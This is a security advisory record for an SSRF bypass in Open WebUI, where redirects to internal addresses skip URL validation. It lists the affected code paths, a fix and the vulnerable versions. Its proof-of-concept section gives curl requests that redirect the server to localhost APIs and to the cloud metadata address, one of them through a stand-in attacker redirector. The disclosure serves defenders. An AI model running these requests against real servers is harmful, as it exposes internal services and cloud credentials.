id: PYSEC-2026-2755 published: "2026-07-13T15:19:07.742102Z" modified: "2026-07-13T16:05:14.661893Z" aliases: - CVE-2026-45401 - GHSA-rh5x-h6pp-cjj6 summary: Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958) details: "# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https:///api/v1/retrieval/process/web \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https:///api/chat/completions \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)" affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.9.5 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.11 - 0.8.12 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 0.9.4 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-45401 - type: ADVISORY url: https://github.com/advisories/GHSA-c6xv-rcvw-v685 - type: PACKAGE url: https://github.com/open-webui/open-webui - type: WEB url: https://github.com/open-webui/open-webui/releases/tag/v0.9.5 - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-rh5x-h6pp-cjj6 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N